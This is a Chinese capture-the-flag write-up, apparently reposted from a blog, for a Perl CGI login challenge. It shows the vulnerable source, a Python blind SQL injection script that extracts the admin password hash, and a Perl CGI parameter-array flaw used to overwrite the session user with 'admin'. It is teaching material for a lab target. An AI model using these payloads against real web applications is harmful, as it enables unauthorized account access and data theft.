pwnhub 胖哈勃归来 Writeup

2017-12-18 10:50:47来源:http://f1sh.site/2017/12/16/pwnhub-胖哈勃归来-writeup/作者:Blog of f1sh人点击

分享

进入题目下载 index.cgi.bak 得到源码


#!/usr/bin/perl
use CGI;
my $q = new CGI;
use CGI::Session;
use Digest::MD5;
my $md5 = Digest::MD5->new;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M');
my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017 the real SqlRF', -bgcolor=>'black');
my $errmsg = '';
if($q->param('login') ne '') {
use DBI;
my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
$errmsg = '<h2 style="color:red">Login Error!</h2>';
eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
$md5->add($q->param('pass'));
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq $md5->clone->hexdigest) {
$s->param('autheduser', $q->param('user'));
print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
if ($s->param('autheduser') eq 'admin') {
print "FLAG</p>";
} else {
print "Only admin can get the flag!</p>";
}
$errmsg = '';
}
}
};
if($@) {
$errmsg = '<h2 style="color:red">Database Error!</h2>';
}
$dbh->disconnect();
}
$user = $q->escapeHTML($user);
print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM
1;

$sth 处显然存在SQL注入,和SECCON上的SqlSRF一样


my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

于是这里借用 Melody师傅的脚本


from requests import post
url = "http://54.222.248.100/cgi-bin/"
dic = "abcdef0123456789"
password = ""
for i in range(0, 32):
for j in dic:
payload = "' or password like '{}%' union select '9e3669d19b675bd57058fd4664205d2a"
payload = payload.format(password + j)
data = {
"user": payload,
"pass": "v",
"login": "Login"
}
res = post(url, data = data)
# print data
if 'Error!' in res.content:
password += j
print password
break


于是得到了admin的密码的MD5值。然而事情并没有这么简单,这个MD5放在各大破解网站都跑不出来,所以只能从其他方面下手。


eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
$md5->add($q->param('pass'));
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq $md5->clone->hexdigest) {
$s->param('autheduser', $q->param('user'));
print "<p style='color: #FFF'>YOU ARE " . $s->param('autheduser') . "<br>";
if ($s->param('autheduser') eq 'admin') {
print "FLAG</p>";
} else {
print "Only admin can get the flag!</p>";
}
$errmsg = '';
}
}

从这段验证代码可以看出我们需要一方面让SQL查询出来的password等于我们传入的 $q->param('pass') 的MD5值,另一方面又需要让 $s->param('autheduser') 等于admin,而 $s->param('autheduser') 取的是 $q->param('user') 的值。


在查找各种资料后查到了一篇发表于2014年的文章,文章里提到perl的一个漏洞


New Class of Vulnerability in Perl Web Applications


这个漏洞就是如果在perl里的hash(相当于python里的dict)直接调用 $cgi->param('key') ,且 $cgi->param('key') 传入的是一个数组的话(传入同名参数就会自动构成数组),hash会把数组的第二个值和后续值按顺序添加为键/值,且可以覆盖前面的键,形成一个类似于变量覆盖的漏洞。


而这道题就在session这个hash里调用了 $q->param('user')


$s->param('autheduser', $q->param('user'));

所以我们只需要让参数 user 传入一个数组,数组的第一个值用于SQL注入,第二第三个值用来覆盖 $s->param('autheduser') ,使其等于 admin ,如图



Get flag.


最新文章

123

最新摄影

闪念基因

微信扫一扫

第七城市微信公众平台